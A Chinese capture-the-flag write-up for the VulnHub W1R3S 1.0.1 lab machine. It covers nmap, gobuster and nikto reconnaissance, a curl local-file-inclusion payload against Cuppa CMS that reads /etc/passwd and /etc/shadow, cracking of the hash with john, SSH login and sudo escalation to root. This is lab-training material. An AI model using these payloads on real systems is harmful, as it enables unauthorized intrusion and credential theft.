VulnHub-W1R3S: 1.0.1渗透学习

VulnHub-W1R3S: 1.0.1渗透学习

前言

靶机地址:https://download.vulnhub.com/w1r3s/w1r3s.v1.0.1.zip
靶机难度:初级(CTF)
靶机发布日期:2018 年 2 月 5 日
靶机描述:您受雇在 W1R3S.inc 个人服务器上进行渗透测试并报告所有结果。他们要求您获得 root 访问权限并找到标志(位于 /root 目录中);
目标:得到root权限&找到flag.txt
作者:我是小小白
时间:2021-07-09

请注意:
本博客所有文章,仅供研究测试及学习IT技术之用,严禁传播和用于非法用途,否则所产生的一切后果由观看文章、视频的人自行承担;本博客网以及发帖人不承担任何责任!

信息收集

主机发现

我们在VM中需要确定攻击目标的IP地址,可以使用netdiscover/nmap来获取目标主机的IP地址:

nmap -sP 192.168.1.0/24 -T5
参数解读:
	-sP : 用ping扫描判断主机是否存活,只有主机存活,nmap才会继续扫描,一般最好不加,因为有的主机会禁止ping
	-T5: 指定扫描过程使用的时序,总有6个级别(0-5),级别越高,扫描速度越快,但也容易被防火墙或IDS检测并屏蔽掉,在网络通讯状况较好的情况下推荐使用T5

在这里插入图片描述

端口扫描

我们已经找到了目标计算机IP地址:192.168.1.14
第一步是找出目标计算机上可用的开放端口和一些服务。因此我在目标计算机上启动了nmap全端口T5速度扫描:

nmap -sS -sV -sC -O -T5  -Pn -p- 192.168.1.14
参数解读:
	-A :启用-A选项之后,Nmap将检测目标主机的下述信息
        服务版本识别(-sV);
        操作系统识别(-O);
        脚本扫描(-sC);
        Traceroute(–traceroute)
	-sS/sT/sA/sW/sM:指定使用 TCP SYN/Connect()/ACK/Window/Maimon scans的方式来对目标主机进行扫描
	-sV: 指定让Nmap进行服务版本扫描
	-p-:进行全端口扫描
	-Pn:禁用主机检测(-Pn)
要进一步枚举服务,也可以使用nc连接到每个端口上。例如如下枚举 ssh和http服务的方式:

nc -nv 192.168.1.13 22

nc -nv 192.168.1.13 80

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

目录枚举

gobuster dir -u http://192.168.1.14/  -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 --random-agent 

在这里插入图片描述

/wordpress            (Status: 301) [Size: 316] [--> http://192.168.1.14/wordpress/]
/javascript           (Status: 301) [Size: 317] [--> http://192.168.1.14/javascript/]
/administrator        (Status: 301) [Size: 320] [--> http://192.168.1.14/administrator/]
/server-status        (Status: 403) [Size: 300]   

测试发现,3个目录只有http://192.168.1.14/administrator/可以访问,是初始化安装页面;
在这里插入图片描述

指纹识别

发现是使用的Cuppa CMS搭建的站点;
在这里插入图片描述
在这里插入图片描述

漏洞发现

Nikto 扫描

nikto :开源的WEB扫描评估软件,可以扫描指定主机的WEB类型、主机名、指定目录、特定CGI漏洞、返回主机允许的 http模式等

nikto -h 192.168.1.14  -C all

在这里插入图片描述
扫描发现存在Apche默认文件 /icons/README
在这里插入图片描述

漏洞利用

查找Cuppa CMS是否存在漏洞;
在这里插入图片描述

curl常用参数解读:

	-d 参数用于发送 POST 请求的数据体,使用-d参数以后,HTTP 请求会自动加上标头Content-Type : application/x-www-form-urlencoded。并且会自动将请求转为 POST 方法,因此可以省略-X POST;
  
  --data-urlencode参数等同于-d,发送 POST 请求的数据体,区别在于会自动将发送的数据进行 URL 编码。
  
  -A 参数指定客户端的用户代理标头,即User-Agent。curl 的默认用户代理字符串是curl/[version]
  
  -i 参数打印出服务器回应的 HTTP 标头
  
  -s 参数将不输出错误和进度信息
curl -s --data-urlencode 'urlConfig=../../../../../../../../../etc/shadow' http://192.168.1.14/administrator/alerts/alertConfigField.php

实际测试发现利用https://www.exploit-db.com/exploits/25971上面的方法,发现读取不到文件,这里是使用curl来利用LFI漏洞获取/etc/password文件;
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
找到了一个用户w1r3s,然后同样的方法读取/etc/shadow
在这里插入图片描述
在这里插入图片描述
找到了用户w1r3s的salt密码,我们用john破解此密码

shadow文件解析
文件的格式为:
{用户名}:{加密后的口令密码}:{口令最后修改时间距原点(1970-1-1)的天数}:{口令最小修改间隔(防止修改口令,如果时限未到,将恢复至旧口令):{口令最大修改间隔}:{口令失效前的警告天数}:{账户不活动天数}:{账号失效天数}:{保留}

其中{加密后的口令密码}的格式为 \$id\$salt\$encrypted

id为1时,采用md5算法加密
id为5时,采用SHA256算法加密
id为6时,采用SHA512算法加密
salt为盐值,是对密码进行hash的一个干扰值
encrypted为散列值
1、将shadow文件导入pass.txt,也可以直接复制shadow文件中所有字段或第2个字段
2、john pass.txt 					 #对散列值进行破解

在这里插入图片描述

用户名:w1r3s
密码:computer

利用获取到的账户密码,使用SSH进行尝试登录:

ssh w1r3s@192.168.1.14

在这里插入图片描述

提权

使用sudo -l查看一下权限,发现w1r3s拥有ALL权限,直接利用sudo提权

在这里插入图片描述
在这里插入图片描述
成功获取到了flag。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值